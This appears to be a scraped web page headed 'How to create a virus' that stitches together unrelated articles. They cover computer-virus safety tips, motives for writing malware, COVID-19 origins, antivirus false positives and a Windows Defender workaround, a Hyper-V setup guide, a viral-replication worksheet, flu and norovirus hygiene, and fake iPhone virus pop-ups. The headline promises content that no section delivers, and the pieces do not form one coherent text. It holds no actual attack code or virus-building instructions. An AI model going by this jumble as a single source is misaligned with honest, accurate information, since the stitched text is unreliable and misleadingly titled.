A computer virus works similarly to the flu virus: it’s highly contagious, you feel run down, you need more sleep and rest than usual and it’s difficult to perform even the simplest of daily tasks. Likewise, a computer virus interferes with the performance of your device by replicating itself and spreading throughout the operating system. A virus can damage programs, delete files and reformat or erase your hard drive, which results in reduced performance or even crashing your system entirely. Hackers can also use viruses to access your personal information to steal or destroy your data.

As society becomes more dependent on technology, it’s important to educate yourself, family, friends, employees and co-workers about safely navigating the internet. Here’s a quick guide on everything you need to know about computer viruses – from what they are and to how to spot one, to what you should do if your device is infected.

How a Computer Gets a Virus

There are several ways a computer can get infected by a virus and most of them involve downloading – either intentionally or unintentionally – infected files. Pirated music or movies, photos, free games and toolbars are common culprits, as are phishing/spammy emails with attachments. Viruses can also be downloaded by visiting malicious websites or clicking links or ads to an unknown/unsecure website. Even connecting to an infected external drive (like a USB) can introduce malicious software into your system.

How to Spot a Computer Virus

If you notice any of the following issues with your computer, it may be infected with a virus:

Slow computer performance (taking a long time to start up or open programs)
Problems shutting down or restarting
Missing files
Frequent system crashes and/or error messages
Unexpected pop-up windows
New applications (toolbars, etc.) that appear without you downloading them
Overworked hard drive (the fan makes sounds and seems to be whirring and working hard when you aren’t doing much)
Emails that send autonomously from your accounts
Browser lag or redirects
Malfunctioning antivirus programs or firewalls

Protecting Your Computer Against a Virus

While hackers are continuously creating smarter and more advanced viruses, there are several ways to protect your device and files.

The best way to deal with a virus is to prevent it in the first place by using antivirus protection and antispyware software. It’s important to keep these applications up to date, as well as regularly updating your operating system and making sure that your browser’s security settings are current. Regularly back up your files (to the cloud or safe external hard drive) in case they become corrupted, ransomed or are deleted. Use a security tool to evaluate your device and find out how vulnerable it might be.

When you’re surfing the internet, don’t click questionable links or pop-ups. Your browser may warn you about suspicious websites, or you might see a red unlocked lock to the left of the URL at the top of the webpage if it is unsecured. This doesn’t always mean a website is dangerous, but you may want to think twice about browsing or entering your information.

Another good rule of thumb is to never open an email or attachment unless you know and trust the sender. Oftentimes, hackers will use a friend’s name as the sender or use “Re:” in the subject line to trick you, so double check the actual email address to see if you recognize it. If you open the email and still aren’t sure, even if it’s from a trusted source, it’s still best to delete.

Be very careful when downloading software. Only download programs, movies and music from legitimate websites or services.

Many people connect using public Wi-Fi in cafes, restaurants or stores, but these unsecured networks can leave your phone, tablet or computer susceptible to viruses. Instead, consider using a personal hotspot to connect to the internet. If public Wi-Fi is your only option, use a VPN to better protect your device and data.

Finally, educate yourself about the types of threats out there and teach others to do the same. For instance, around 95 percent of teens use the internet, but 18 percent say they haven’t been educated about “good online behavior.” By taking the time to talk with your family about safe online habits, you can drastically lower the risk of devices being compromised.

What to Do If You Get a Virus

If you think your computer has been infected, start by running a full system scan using your antivirus software and an anti-malware program. Review the threats and take any action that you can (the software should guide you through this). If you are unable to delete the virus or infected files from your software, try restoring your computer to an earlier back-up before you began having problems.

Another strategy to try is deleting all of the temporary files on your computer. The method of clearing those files differs between systems but these processes are easy enough to research and implement for the average user. If your computer is malfunctioning and preventing you from accessing files to delete, you can try booting up in safe mode. Safe mode restricts certain programs so you can work to fix the issue without interruption.

In some cases, you may need to reinstall your operating system. If you aren’t familiar with how to do that, take your device to a local store that offers computer services and have a professional take a look.

All in all, prevention and education are the most effective ways to stop your computer from getting infected by a virus. Know the basics of staying safe online and share articles like these with family, friends and colleagues.

Author Bio

Alice is an experienced freelance writer who specializes in technology and business. She has a passion for understanding how technology is changing the human experience and communicating this societal transformation.

How to create a virus

There are thousands and thousands of different viruses and malware on the Internet today. So, you may be asking, what motivates people to create viruses and malware?

There are three primary reasons why they create them:

Making money

Many viruses, malware, and spyware found on computers do not harm the computer all that much, other than slow it down. Instead, this malware is designed to capture information about the computer user and send it to the malware creator. The information they collect is then used to target advertisements to your computer. These ads come in the form of e-mails and pop-ups on your computer.

If enough computers get infected, they can earn money from all the ads displayed. The more ads they send out, the more they get people to buy something or visit the advertiser. Sometimes, all it takes is one virus or malware program to generate hundreds or thousands of ads on your computer.

Stealing account information

Online games and virtual goods have a real-life value attached to them, and malware is created to steal online account information associated with online games. Using this type of malware, a person could access a victim’s account and steal their virtual goods and currency. They could even sell their ill-gotten virtual goods to other players for real money.

Causing problems and trouble

Some people create viruses and malware because they enjoy causing trouble and making others suffer. Some malware can crash an entire network system and cause system outages for large companies, like banks or production companies.

In the end, it’s the thrill of seeing the havoc and chaos they can create that drives them to create more viruses and malware.

Why do people spread viruses?

Almost all viruses are spread unintentionally by the users who become infected by a virus. For example, someone might open an infected file that infects all other files and computers connected to that computer without even knowing what they’ve done.

What can you do?

Your best defense against malware and spyware is to keep your computer updated. You should ensure you have up-to-date antivirus and anti-spyware/malware software installed on your computer. Additionally, always be cautious of e-mail attachments, even from someone you know.

By Jeanna Bryner published 21 March 20

The persistent myth can be put to bed.

How to create a virus

Editor’s note: On April 16, news came out that the U.S. government said it was investigating the possibility that the novel coronavirus may have somehow escaped from a lab, though experts still think the possibility that it was engineered is unlikely. This Live Science report explores the origin of SARS-CoV-2.

As the novel coronavirus causing COVID-19 spreads across the globe, with cases surpassing 284,000 worldwide today (March 20), misinformation is spreading almost as fast.

One persistent myth is that this virus, called SARS-CoV-2, was made by scientists and escaped from a lab in Wuhan, China, where the outbreak began.

A new analysis of SARS-CoV-2 may finally put that latter idea to bed. A group of researchers compared the genome of this novel coronavirus with the seven other coronaviruses known to infect humans: SARS, MERS and SARS-CoV-2, which can cause severe disease; along with HKU1, NL63, OC43 and 229E, which typically cause just mild symptoms, the researchers wrote March 17 in the journal Nature Medicine.

“Our analyses clearly show that SARS-CoV-2 is not a laboratory construct or a purposefully manipulated virus,” they write in the journal article.

Kristian Andersen, an associate professor of immunology and microbiology at Scripps Research, and his colleagues looked at the genetic template for the spike proteins that protrude from the surface of the virus. The coronavirus uses these spikes to grab the outer walls of its host’s cells and then enter those cells. They specifically looked at the gene sequences responsible for two key features of these spike proteins: the grabber, called the receptor-binding domain, that hooks onto host cells; and the so-called cleavage site that allows the virus to open and enter those cells.

That analysis showed that the “hook” part of the spike had evolved to target a receptor on the outside of human cells called ACE2, which is involved in blood pressure regulation. It is so effective at attaching to human cells that the researchers said the spike proteins were the result of natural selection and not genetic engineering.

Here’s why: SARS-CoV-2 is very closely related to the virus that causes severe acute respiratory syndrome (SARS), which fanned across the globe nearly 20 years ago. Scientists have studied how SARS-CoV differs from SARS-CoV-2 — with several key letter changes in the genetic code. Yet in computer simulations, the mutations in SARS-CoV-2 don’t seem to work very well at helping the virus bind to human cells. If scientists had deliberately engineered this virus, they wouldn’t have chosen mutations that computer models suggest won’t work. But it turns out, nature is smarter than scientists, and the novel coronavirus found a way to mutate that was better — and completely different— from anything scientists could have created, the study found.

Another nail in the “escaped from evil lab” theory? The overall molecular structure of this virus is distinct from the known coronaviruses and instead most closely resembles viruses found in bats and pangolins that had been little studied and never known to cause humans any harm.

“If someone were seeking to engineer a new coronavirus as a pathogen, they would have constructed it from the backbone of a virus known to cause illness,” according to a statement from Scripps.

Where did the virus come from? The research group came up with two possible scenarios for the origin of SARS-CoV-2 in humans. One scenario follows the origin stories for a few other recent coronaviruses that have wreaked havoc in human populations. In that scenario, we contracted the virus directly from an animal — civets in the case of SARS and camels in the case of Middle East respiratory syndrome (MERS). In the case of SARS-CoV-2, the researchers suggest that animal was a bat, which transmitted the virus to another intermediate animal (possibly a pangolin, some scientists have said) that brought the virus to humans.

In that possible scenario, the genetic features that make the new coronavirus so effective at infecting human cells (its pathogenic powers) would have been in place before hopping to humans.

In the other scenario, those pathogenic features would have evolved only after the virus jumped from its animal host to humans. Some coronaviruses that originated in pangolins have a “hook structure” (that receptor binding domain) similar to that of SARS-CoV-2. In that way, a pangolin either directly or indirectly passed its virus onto a human host. Then, once inside a human host, the virus could have evolved to have its other stealth feature — the cleavage site that lets it easily break into human cells. Once it developed that capacity, the researchers said, the coronavirus would be even more capable of spreading between people.

All of this technical detail could help scientists forecast the future of this pandemic. If the virus did enter human cells in a pathogenic form, that raises the probability of future outbreaks. The virus could still be circulating in the animal population and might again jump to humans, ready to cause an outbreak. But the chances of such future outbreaks are lower if the virus must first enter the human population and then evolve the pathogenic properties, the researchers said.

Coronavirus science and news

Coronavirus in the US: Map & cases
What are the symptoms?
How deadly is the new coronavirus?
How long does virus last on surfaces?
Is there a cure for COVID-19?
How does it compare with seasonal flu?
How does the coronavirus spread?
Can people spread the coronavirus after they recover?

The one-month trial gives you access to all of the educational site’s 9,000 activities in reading, science, math and art. Keep your child busy and learning while we are all stuck indoors.

Antivirus and anti-malware apps fill an important need on our computers, but they’re not foolproof (*ahem*, McAfee ). More often than you’d think, they’re just plain wrong. Here’s what to do when you’re not sure whether a download has a virus.

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Reader Max Buser’s company was hit by the bad McAfee update earlier today. Here’s how they got…

On a regular basis, we get email from readers saying that some download we posted contains a virus, and we assure them that said download is clean. (Over the past five years, our track record in this arena is next to spotless.) So how do you know if a download really has a virus or not?

Lifehacker’s Weirdest and Most Controversial Posts

Everybody gets a little ribbing at their birthday party, and we’re no different. As part of…

There’s no exact science when it comes to figuring out if a file has a virus or is just being detected as a false positive, but today we’ll share a little background and some tips that will help you figure out whether a file really contains a virus or not.

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What Is a False Positive Exactly?

A false positive is when your virus scanner detects a file as a virus, even when it really isn’t a virus, and then tries to quarantine or delete that file. If you’ve read about the recent McAfee fiasco , you’ll begin to see the problem—they released a virus definition update that detected internal Windows files as a false positive, deleted them, and then suddenly Windows couldn’t boot anymore. Antivirus software is not perfect.

McAfee Update Shuts Down XP Machines

McAfee corporate customers across the globe using Windows XP experienced massive shutdowns today as

Some virus scanners also employ an additional line of defense called heuristic analysis , which attempts to identify new forms of malware right away by scanning for smaller sections of code that might indicate some bad behavior, even if the virus has never been detected before. Unfortunately, because this method is not exact, it also will detect a lot of files as viruses incorrectly.

Use VirusTotal to Check for False Positives

Whenever there’s a possibility that a file you’ve downloaded might contain a virus, the first thing you should do is upload it to online virus scanning service VirusTotal , which instantly scans the file against 40 different antivirus engines at the same time, and gives you the results.

You can use the VirusTotal Uploader to instantly scan any file via your right-click context menu. (We’d highly recommend installing this small utility.) VirusTotal Uploader will upload any file you choose directly to the VirusTotal web site and run the scan without you having to hassle with annoying web upload forms. Even better, most of the time you don’t even have to wait for the file to upload, since before uploading, the app checks your file’s hash (a unique identifier, sort of like a fingerprint for files) against their database, so if they’ve already checked that file, you’ll get instant results.

VirusTotal Uploader 2.0 Instantly Scans Files for Viruses Against 41 AV Apps

Windows only: Previously mentioned VirusTotal Uploader automatically uploads any file to online…

You’ll sometimes find that files are caught as viruses by just a single virus scanner out of the 40, which is a good sign that you’re dealing with a false positive from one of the more aggressive virus scanners. It should be noted that VirusTotal is not a replacement for using your favorite antivirus application , which offers real-time protection against a variety of attack vectors—but it is a strong supplement.

Five Best Antivirus Applications

Computer viruses are increasingly sophisticated and pervasive. If you can’t afford to run your…

AutoHotkey and Overly Aggressive Virus Scanners

We’re huge fans of the AutoHotkey scripting language around here, because it helps you simplify your life by turning any action into a hotkey . Many of the small utilities that we link to, like our own Lifehacker Code projects , are also written in AutoHotkey, or are provided as both a script and a compiled version.

Turn Any Action Into a Keyboard Shortcut: A Beginner’s Guide to AutoHotkey

We waste a ton of time every day clicking through menus and typing repetitive text. AutoHotkey is…

Since the AutoHotkey language provides the ability to monitor keystrokes and mouse movements, it is often detected by heuristic virus scanners incorrectly as a keylogger or trojan—because those are the same type of internal Windows functions that a trojan might take advantage of to steal your password. This doesn’t mean that the file necessarily has a virus.

The great thing about most AutoHotkey applications that we link to is that the source code is usually provided, so you can just open up the .ahk file yourself and see what exactly is going on. In fact, if you have AutoHotkey installed, you can run any .ahk file instead of the provided executable file.

Ask the Developer

You’d be surprised to find out just how easy it is to get in touch with some developers. People email us all the time asking about the false-positive AutoHotkey apps we host on the site, and we do our best to reply. Other developers—who aren’t also sorting through hundreds of other tips emails every day—are probably even easier to get a hold of, and if they’re legit, they care a great deal about what antivirus apps are saying about their software and will do whatever it takes to help. Again, you shouldn’t necessarily trust everything said developer has to say, but if a developer is easy to contact, chances are they’re making legit apps. It’s the developers who are impossible to get a hold of (because it’s in their best interest not to be found) that are a little more worrisome.

Use Your Judgment

If your antivirus software is telling you that a file contains a virus, you shouldn’t blindly assume that you’re dealing with a false positive; use that opportunity to ask yourself if you really need to install that application. If you do, make sure to check with VirusTotal first, make sure the download is from a reputable place, and then make that judgment call on your own.

So what about you? What do you do when a file is detected as a virus? Share your thoughts in the comments.

The How-To Geek prefers his AutoHotkey scripts in source code form. His geeky articles can be found daily here on Lifehacker, How-To Geek , and Twitter .

Want to try Windows 11 risk-free? Use Hyper-V to create a virtual machine where you can test the new operating system without losing access to your “real” PC. I’ve got step-by-step instructions here.

Ed Bott is an award-winning technology writer with more than two decades’ experience writing for mainstream media outlets and online publications.

How to create a virus

How do you test Windows 11 for compatibility with essential apps without putting your work at risk? Simple: Use the built-in Hyper-V platform on your Windows 10 PC to create a virtual machine and install Windows 11. You can run your existing apps and services in that virtual machine without risking the integrity or stability of your “real” PC.

special feature

Creating a new virtual PC is easy, assuming your PC satisfies the requirements. You must be running a 64-bit business edition of Windows Pro or Enterprise edition; the Home edition does not include Hyper-V support. In addition, your CPU and associated hardware must meet specific requirements. (For this walkthrough, I assume you are running Windows on a PC with a supported Intel or AMD CPU; the rules for Arm-based CPUs are different.) Most modern CPUs pass this test with ease. (For full details, see “Windows 10 tip: Find out if your PC can run Hyper-V.”)

You also need enough physical hardware resources to devote to your virtual machine. I recommend at least 8 GB of memory, along with enough unused local storage to hold a full installation of Windows, apps, and checkpoints (32 GB should be sufficient).

Finally, you need a copy of the Windows 11 installation files in ISO format. You can get that file from Microsoft’s Download Windows 11 page by choosing the Download Windows 11 Disk Image (ISO) option.

With those preliminaries out of the way, you’re ready to get started. Note that all of the steps below work exactly the same on Windows 10 and Windows 11.

1. Click Start and type Hyper-V in the search box. If Hyper-V is already enabled, open the Hyper-V Manager utility and skip to the next step. If you see the Turn Windows features on or off option, click to open the Windows Features dialog box, choose the Hyper-V option, and restart your PC to continue.

2. In Hyper-V Manager, make sure your PC’s name is selected in the center pane and then, in the Actions pane on the right, click New > Virtual Machine.

3. In the New Virtual Machine wizard, use the following settings:

Specify Name and Location – Enter a descriptive name here. This name will appear in the Hyper-V Manager window.
Specify Generation – Choose Generation 2 here. (You won’t be able to install Windows 11 on a Generation 1 VM, which is strictly for legacy operating systems.)
Assign Memory – You can use the default settings here. If you have at least 16 GB of RAM on the host PC, I recommend entering 4096 MB in the Startup Memory box.

The default Dynamic Memory option keeps RAM usage to a minimum, expanding as needed

Configure Networking – Choose Default Switch from the drop-down menu.
Connect Virtual Hard Disk – Use the default option, Create A Virtual Hard Disk. You can safely leave its size at 127 GB. Hyper-V creates a dynamically expanding virtual hard disk that uses only a fraction of that space.

These default settings create a dynamically expanding 127 GB virtual hard disk that uses only a small amount of actual disk space

Installation Options – Choose the second option, as shown here; then click Browse and choose the Windows 11 ISO from your Downloads folder.

Specify the location of the Windows 11 installation file to automatically mount your ISO as a virtual DVD drive

4. Click Finish to create the virtual machine, but don’t connect to the VM just yet. Instead, from Hyper-V Manager, right-click the VM you just created, click Settings, and make the following tweaks to avoid having Windows 11 complain later that your VM doesn’t meet its hardware requirements:

In the Hardware pane on the left, select Security. Then, in the pane on the right, click Enable Trusted Platform Module.

Select this checkbox to enable the virtual TPM required for a Windows 11 VM.

Select Processor in the Hardware pane and change the setting for Number Of Virtual Processors to 2.

Make this tweak as well to avoid seeing an error message when installing Windows 11.

Click OK to save your changes.

5. Double-click the VM and click Start to connect to the virtual machine. Be prepared to click in the Virtual Machine Connection and tap any key to boot from the virtual DVD you created using your Windows 11 ISO. That should open the Windows Setup screen shown here.

If everything’s configured correctly, you can start here to do a clean install of Windows 11 on your new VM

6. Click next to begin the installation. When you’re asked to enter a product key, click the small “I don’t have a product key” link at the bottom of the dialog box, and then select Windows 11 Pro from the list of available editions. Follow the prompts to complete setup.

If you configured Windows to use a Microsoft account, you’ll need to do one last tweak before you can sign on in an enhanced session and use your VM in full-screen mode: Go to Settings > Accounts > Sign-in Options and turn the Require Windows Hello Sign-in For Microsoft Accounts switch to the Off position.

You’ll need to turn this setting off to sign in to a Windows 11 VM using a Microsoft account in an enhanced session

If you forget to make this adjustment and try to sign in using an enhanced session, you’ll find yourself stuck at the Windows sign-in screen with only the background image visible. The fix is simple: From the Virtual Machine Connection window, choose View, then click Enhanced Session to clear the checkbox and switch to a basic session.

I tried to download a file recently on a Windows 10 Fall Creators Update system using Google Chrome, Microsoft Edge and Mozilla Firefox, and could not because all blocked the file download because of a virus that was detected during the security scan.

Chrome displayed “Failed – Virus detected”, Microsoft Edge “[filename] contained a virus and was deleted”, and Firefox simply “failed” in the user interface.

Windows Defender was the security program on the machine, and a quick check revealed that the built-in security tool was indeed responsible for blocking the file download on the machine.

I knew that this was a false positive, and the following paragraphs describe how I tried to get the file to download to the system.

First thing that I did was start Windows Defender Security Center to find out more about the threat.

Start the program with a tap on the Windows-key, type Windows Defender, and select the entry Windows Defender Security Center.

How to create a virus

Click on the Hamburger Icon in the top left corner to display menu names next to icons, and select Virus & threat detection from the menu.

Select scan history afterwards. Windows Defender may list there that there are not any current threats. This may be puzzling at first, but the security program lists only threats there that require user decisions.

Since the downloaded file was quarantined automatically, no user action is required which in turn means that there are not any current threats.

The list of quarantined threats is below. If you are lucky, you may see the virus that Windows Defender detected when it scanned the file download. The file name is not listed there however but the date may be sufficient to make an educated guess.

A click on the row displays options to restore the file or remove it, and to display details. Details displays the file name, but it may not be enough to identify the file, as Windows Defender may display a temporary name.

How to create a virus

Remove deletes the file from the quarantine, restore on the other hand may restore it on the system so that you may access it.

The current version of Windows Defender Security Center has quite a few issues in this regard. I mentioned the lack of details already, but it is just one of the issues that you may run into.

Another is that you may only get old files listedÂ under quarantined threats. Windows Defender Security Center limits the threats to five on that page. While you can click on “see full history” to display all items that the security program quarantined, you will notice right away that the buttons to remove or restore files are missing there.

What you can try is clear the history, and retry the download. It happens that you get a failed download due to the detection of a virus, but no immediate listing under quarantined threats.

You have one option to deal with that:

Turn off the protection for the time being, and download the file again. While it is usually not suggested to turn off the security tools of the system, you sometimes have no other recourse but to do so. Go to Virus & threat protection > Virus & threat protection settings to turn off the protective modules there.
Add the file that you just downloaded to the list of exclusions (you cannot do so before it is downloaded), and turn the protective modules back on afterwards. You find the option on the Virus & threat protections settings page.

Closing Words

The whole process of unblocking files that you want to download that Windows Defender blocked is complicated and to a degree broken. Why are not there options to remove or restore files in the full history, why do I need to click multiple times to find out more about a threat, and why are not threats listed sometimes in the main interface where you can restore them?

Is that reasonable?

How to create a virus

Swine flu, or H1N1, had been dead for 20 years when it suddenly re-emerged in 1977 with a curious twist. The new strain was genetically similar to one from the 1950s, almost as though it had been sitting frozen in a lab since then. Indeed, it eventually became clear that the late-70s flu outbreak was likely the result of a lowly lab worker’s snafu.

Lab accidents like that are extremely rare. Still, two scientists are now arguing that it’s not worth continuing to create new, transmissible versions of deadly viruses in labs because the risk that the diseases will escape and infect the public is too great.

The H5N1 avian flu killed two dozen people in Hong Kong in 1997. It has only killed about 400 people worldwide since then, though, because it doesn’t pass easily from human to human.

In recent years, scientists have found a way to make H5N1 jump between ferrets, the best animal model for flu viruses in humans. They say they need to create a transmissible version in order to better understand the disease and to prepare potential vaccines.

Watch:

Covid-19: An Illustrated Scientific Summary

How Coronavirus Hijacks Your Cells

Read & Decide:

“Bring, Build, Borrow, or Steal”

To complete this activity, you will read the information provided and then use the following verbs: bring, build, borrow or steal to fill in the words missing from the paragraph below. You must choose one of those four words. First, read the important information below.

Background : Viruses are clever entities and they are minimalists. Most viruses carry very little within their capsid (and envelope if they have one) and the majority of their insides is genetic material made of either strand(s) of deoxyribonucleic acid (DNA) or ribonucleic acid (RNA). The viral genome (genetic material) has the instructions, aka genes, to take over the host cell and to build new copies of itself. This process of host cell takeover is known as “molecular hijacking.” When a virus replicates it has to build entire viral particles and it has to not only make the proteins that comprise the viral capsid (and enclose it with an envelope), but it must also replicate its genetic material.

The Central Dogma is a concept coined by Francis Crick in the 1950s. Crick received a Nobel Prize along with his colleague James Watson for elucidating the structure of DNA. The Central Dogma (pictured below) describes the transfer of genetic information (blueprints) into function in a cell. DNA, which is the makeup of the genome of most organisms, can be replicated, but also transcribed into RNA molecules, which are then translated into proteins. Proteins go on to perform functions, such as the capsid of a virus is made of proteins that provide a structure to encapsulate the viral genome.

Facts: Host cells and viruses have many, many differences with respect to the proteins and molecules within each. Because the virus is a minimalist and carries only a few things with it, it has to either borrow or steal the machinery of the host cell it infects or it must bring the blueprints to build what it needs.

The host cell has the following:

DNA polymerase – the enzyme needed to replicate DNA (DNA –> DNA) ·
RNA polymerase – the enzyme required to transcribe DNA into RNA (DNA –> RNA) ·
Ribosomes – the entities responsible for translating RNA into proteins (RNA –> Proteins) ·
Phospholipids that make up membranes

Fill in the blanks:

Now decide which word (bring, build, borrow, or steal) correctly fills in the blanks in the paragraph below. Remember that borrowing is distinct from stealing; assume borrowing involves the return of the goods to the host, but stealing does not. SARS-CoV-2, the virus that causes COVID-19, has a protein capsid that is surrounded by a phospholipid envelope. Inside its capsid is a genome of RNA. Spike proteins called, S proteins, recognize the ACE2 receptors of host cells allowing the virus to enter the host cell. Upon entry into the host cell, the virus hijacks the host and turns it into a factory producing many, many copies of SARS-CoV-2. First, the virus ____________ its own genome of RNA, which then needs to be coded into proteins. Thus, the virus ____________ the genes coding for viral structure, such as capsid and spike proteins. Then the virus must code these genes into proteins and ___________ ribosomes for translation, a process that also requires the virus to __________ amino acids, which are the building blocks of proteins. In doing this, the virus __________ many capsid and spike proteins to make many viral particles. SARS-CoV-2 also ____________ a gene that codes for a protein enzyme that is capable of copying RNA into more RNA molecules. This way the virus can then ____________ many, many copies of its own genetic material to be carried within each viral particle produced. This protein enzyme, called an RNA-dependent RNA polymerase, will then copy the virus’s RNA genome which requires it to ___________ ribonucleotides, which are the building blocks of RNA molecules. Once the capsid, spike proteins, and RNA genomes are produced, they are assembled and get ready to leave the host cell. Upon exit, each virus obtains its envelope and when doing so, the virus particles ___________ phospholipids from the host cell’s membrane. One the new viral particles exit the cell, they go on to find new cells to infect.

Model:

SARS-CoV-2 is an RNA virus, meaning its RNA genome can be directly translated into proteins, but it needs to make copies of its RNA genome when the virus replicates, a process that cannot naturally occur in animal cells. If a virus has a genome composed of DNA, such as the viruses that cause polio, herpes, HPV, and chicken pox to name a few, then the virus needs a very different strategy to hijack its host cell. Think about what enzymes these viruses can borrow from the host cell in order to replicate entirely. Draw and model a viable strategy a DNA virus uses to hijack its host cell.

Reflect:

The human immunodeficiency virus (HIV), which is the virus that causes AIDS, also has an RNA genome, but this virus does not use the same strategy for molecular hijacking as SARS-CoV-2. HIV can remain latent in host cells, meaning it is not actively replicating and making many copies, but rather it hides out and replicates only once along with the host cell when it divides. In order to do this, HIV integrates its genome into that of the host cell. Considering this, what must HIV bring into the host cell and what process must occur in order to integrate the viral genome into the host cell’s genome?

How to create a virus

No one likes being sick, and it can be equally miserable – if not worse – if your kiddos are sick too. Plus it seems like every cold and flu season gets worse with one superbug announcement after another. It’s enough to make anyone ask – how do we stop this madness?!

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Here are some ways to increase your odds of beating the crud and to help protect yourself and others.

Soap, water, repeat

The spreading of any sort of virus begins and ends with hand washing (or lack thereof).

And yes we know – that sounds ridiculously obvious, right? It’s no secret that washing your hands is important. But you’d be surprised by how many people skimp when it comes down to this habit. (One study found that only 5% of people wash their hands properly!)

“The way that viruses transfer from person to person and place to place isn’t usually because you got coughed on by someone who’s sick,” explains pediatric infectious disease expert Frank Esper, MD. “Instead, someone usually coughs on their hands and goes on to touch something. Then someone else touches that thing with their hands and their hands end up in their mouth – along with the virus.”

One of the best things you can do to protect yourself during cold and flu season (and really anytime of the year) is to break the transmission cycle by routinely washing your hands.

Also remember that any virus you might already have has the potential to spread to others in the same fashion. So washing your hands every time you cough, or every time that you’re interacting with someone, preferably before you interact with them, is the best thing that you can do.

It’s one of the reasons why doctors always wash their hands before they see a patient and again right afterwards, Dr. Esper says.

Does the hand washing rule apply with RSV and children too?

Good hand hygiene is incredibly important when it comes to babies and small children too, especially when it comes to helping prevent the spread of RSV.

But often times the average two-year-old can’t wash their hands very well – let alone have the coordination or attention span for it. This is where the introduction of alcohol-based rubs, especially for the younger age groups, works well.

It’s also important to understand the impact of hand washing for those around young children.

“When your child is home from school with a runny nose or cough, a lot of times the grandparents or other family members will come over to watch them,” says Dr. Esper. “It’s very important to make sure that everyone who is interacting with the kids knows to wash their hands.”

It’s also a good idea to talk to children about not touching their noses or rubbing their eyes. Most of the time it’s still going to be typical two-year-old behavior –but it helps to start educating them about it when they’re young.

How to avoid getting sick

If you’re still trying to tough out cold and flu season without becoming a victim (or looking for tips on not getting sick again), follow these guidelines:

Start with a strong offense – always get your flu shot. (Yes, every single year.)
Be diligent about washing your hands throughout the day.
Don’t touch your face! Keep your hands out of your eyes, ears, nose and mouth.
Always carry hand sanitizer with you. (Place it around your home or office for convenience.)
Focus on good nutrition to help boost your immunity.
Exercise regularly.
Get enough sleep.
Drink plenty of water.
Try a humidifier.
Stay home when you’re sick or keep your kids at home if they’re sick.
Practice stress management.
Know when to see a doctor.

Also be sure to tread carefully when it comes to guzzling down vitamin C drinks and pills. The jury is still out whether or not these products can actually help you kick a cold or flu faster.

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Следите за новостями, полезными советами и обновлениями.

Whatever you do, don’t tap on any fake iPhone virus links or pop-ups! We’ll teach you how to handle it instead.

* This post is part of iPhone Life‘s Tip of the Day newsletter. Sign Up. *

It can be alarming when you’re browsing a website and a pop-up appears warning you of an iPhone virus! Virus warnings and Apple security alerts like these are scams designed to get you to call or tap on a link. Read on to learn how to safely stop these scams by turning on pop-up blocker settings.

Why You’ll Love This Tip

Protect yourself from fraudulent virus warnings and phishing sites that can infect your iPhone with malware or trick you into giving away personal data.
Block annoying pop-ups that interrupt your web browsing on Safari.

How to Get Rid of Fake iPhone Virus Warnings

If you get a virus warning in a pop-up, the first thing to remember is that Apple doesn’t send out messages like these; don’t tap on it or call any numbers listed on the fake alert. Don’t even tap on the pop-up to close it! Some scam alerts seem to have an X or Close option that only resembles a close button but will actually direct you to the phishing site. Instead, follow the steps below:

Do NOT tap anywhere on the pop-up. Instead, tap the tab icon.

How to create a virus

Tap the X button on the tab or swipe up to safely close it.

How to create a virus

Open the Settings app.

How to create a virus

Toggle on Airplane Mode; this temporarily disconnects your phone from the internet so you can reset Safari while blocking unwanted access to your iPhone.

How to create a virus

Scroll down and tap Safari.

How to create a virus

Tap Clear History and Website Data.

How to create a virus

While in Safari settings, it’s a good idea to make sure Block Pop-ups and Fraudulent Website Warning are also toggled on.

How to create a virus

Tap on Settings in the upper-left corner.

How to create a virus

Toggle Airplane Mode back off.

How to create a virus

Now you can open Safari again; at this point, Apple virus scams shouldn’t be appearing anymore. If you didn’t click on or interact with the fake virus warning, all should be well with your iPhone. If you’re curious to learn more about iPhone security, we’ve also published other articles about iPhone viruses, including Can iPhones Get Viruses, which includes how to get rid of a virus on iPhone. We’ve also written about ways to protect yourself from fraud and identity theft and how to set up two-factor authentication!

Topics

Author Details

How to create a virus

Author Details

Leanne Hays

Leanne Hays is a Feature Writer at iPhone Life, and has written hundreds of in-depth how-to and troubleshooting articles. She’s a former Associate Editor for iPhone Life magazine, and has written for the Iowa Source , as well as web content for education marketing. Leanne has an associate’s degree in education, with a focus on curriculum development, as well as a bachelor’s degree in science. She has over nine years of experience with SEO, social media management, and web development and writing. Despite years of web work, Leanne is by no means an early adapter; she’s only owned a smartphone for five years, which makes her highly sympathetic to the learning curve of new iPhone owners. She enjoys making reader’s lives easier and putting her education experience to work by walking them through the most practical ways to use Apple devices, step-by-step.

In off-work hours, Leanne is a mother of two, homesteader, audiobook fanatic, musician, and learning enthusiast.

How to create a virus

Noroviruses are as easy to spread and hard to kill as they are unpleasant to experience. If you or a family member have had norovirus — one of the most common causes of acute gastroenteritis outbreaks, often mislabeled as “stomach flu” — you know that’s saying something.

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How can you avoid going through it again? Start with these tips from family medicine physician Matthew Goldman, MD, to clean up after a bout of norovirus.

1. Use bleach and water

You can catch norovirus from contaminated surfaces, and many disinfectants won’t kill it. Alcohol doesn’t kill norovirus. Use bleached water. The CDC recommends a solution that contains anywhere from 5 to 25 tablespoons of household bleach per gallon of water or other disinfectant approved by the Environmental Protection Agency. Stainless steel and similar surfaces need less, while more porous surfaces need more. If you don’t want to mix your own, shop for bleach-based cleaners.

2. Clean safely

Use rubber gloves or disposable latex or vinyl gloves. This will help protect you not only from the bleach but also from the norovirus itself, which can hang around on surfaces for days to weeks. Wear a protective mask for safety — and be sure to air out the room when you finish cleaning.

3. Clean everything you touch

That includes the toilet, the floor, all counters, doorknobs, light switches, telephones, remote controls — you name it. For the best results, let the bleach water or cleaner sit on the surface for at least 5 minutes before wiping it clean with paper towels or other disposable products. In addition, you may want to steam clean upholstered furniture.

4. Separate your laundry

Use gloves to handle soiled sheets, towels and clothes, and keep them separate from other laundry if possible. Wash everything in very hot water. For whites or light clothing you aren’t concerned about lightening, add a little bleach. Wash the items with detergent at the maximum available cycle length, then machine dry them.

5. Wash your hands — then wash them again

Washing your hands is a good practice both during and after any illness, particularly a hearty one like norovirus. Be sure to wash hands thoroughly for at least 20 seconds after cleaning, too, so all your hard work doesn’t go to waste.

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These materials are regularly updated based on new scientific findings as the pandemic evolves. Last updated December 2021

Q&A Masks and COVID-19

Q&A Children and Masks

All about masks in the context of COVID-19

Masks should be used as part of a comprehensive strategy of measures to suppress transmission and save lives; the use of a mask alone is not sufficient to provide an adequate level of protection against COVID-19.

